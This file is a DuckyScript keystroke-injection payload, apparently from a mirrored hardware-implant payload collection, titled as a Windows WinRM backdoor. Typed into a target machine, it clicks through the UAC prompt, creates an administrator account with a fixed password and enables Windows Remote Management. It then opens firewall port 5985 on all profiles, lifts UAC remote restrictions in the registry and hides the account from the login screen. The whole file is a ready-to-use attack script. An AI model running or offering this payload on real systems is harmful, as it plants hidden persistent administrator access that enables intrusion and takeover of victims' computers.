mirror of https://github.com/hak5/omg-payloads.git
84 lines
2.0 KiB
Plaintext
84 lines
2.0 KiB
Plaintext
REM #
|
|
REM # Title: "Microsoft Windows" WinRM Backdoor
|
|
REM #
|
|
REM # Description:
|
|
REM # 1) Adds a user account (OMG_User:OMG_P@ssW0rD).
|
|
REM # 2) Adds this local user to local administrator group.
|
|
REM # 3) Enables "Windows Remote Management" with default settings.
|
|
REM # 4) Adds a rule to the firewall.
|
|
REM # 5) Sets a value to "LocalAccountTokenFilterPolicy" to disable "UAC" remote restrictions.
|
|
REM # 6) Hides this user account.
|
|
REM #
|
|
REM # Author: TW-D
|
|
REM # Version: 1.0
|
|
REM # Category: Remote Access
|
|
REM # Target: Microsoft Windows
|
|
REM #
|
|
REM # TESTED ON
|
|
REM # ===============
|
|
REM # Microsoft Windows 10 Family Version 20H2 (PowerShell 5.1)
|
|
REM # Microsoft Windows 10 Professional Version 20H2 (PowerShell 5.1)
|
|
REM #
|
|
REM # REQUIREMENTS
|
|
REM # ===============
|
|
REM # The target user must belong to the 'Administrators' group.
|
|
REM #
|
|
|
|
REM ######## INITIALIZATION ########
|
|
|
|
DELAY 1000
|
|
DUCKY_LANG US
|
|
DELAY 1000
|
|
|
|
REM ######## STAGE1 ########
|
|
|
|
GUI r
|
|
DELAY 3000
|
|
STRING cmd
|
|
DELAY 1000
|
|
CTRL SHIFT ENTER
|
|
DELAY 3000
|
|
LEFTARROW
|
|
DELAY 5000
|
|
ENTER
|
|
DELAY 5000
|
|
|
|
REM ######## STAGE2 ########
|
|
|
|
STRING NET USER OMG_User OMG_P@ssW0rD /ADD
|
|
ENTER
|
|
DELAY 1500
|
|
|
|
STRING NET LOCALGROUP Administrators OMG_User /ADD
|
|
ENTER
|
|
DELAY 1500
|
|
|
|
REM ######## STAGE3 ########
|
|
|
|
STRING WINRM QUICKCONFIG
|
|
ENTER
|
|
DELAY 3000
|
|
|
|
STRING y
|
|
ENTER
|
|
DELAY 1500
|
|
|
|
STRING NETSH ADVFIREWALL FIREWALL ADD RULE NAME="Windows Remote Management for OMG" PROTOCOL=TCP LOCALPORT=5985 DIR=IN ACTION=ALLOW PROFILE=PUBLIC,PRIVATE,DOMAIN
|
|
ENTER
|
|
DELAY 1500
|
|
|
|
REM ######## STAGE4 ########
|
|
|
|
STRING REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /f /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
|
|
ENTER
|
|
DELAY 1500
|
|
|
|
STRING REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /f /v OMG_User /t REG_DWORD /d 0
|
|
ENTER
|
|
DELAY 1500
|
|
|
|
REM ######## FINISH ########
|
|
|
|
STRING EXIT
|
|
ENTER
|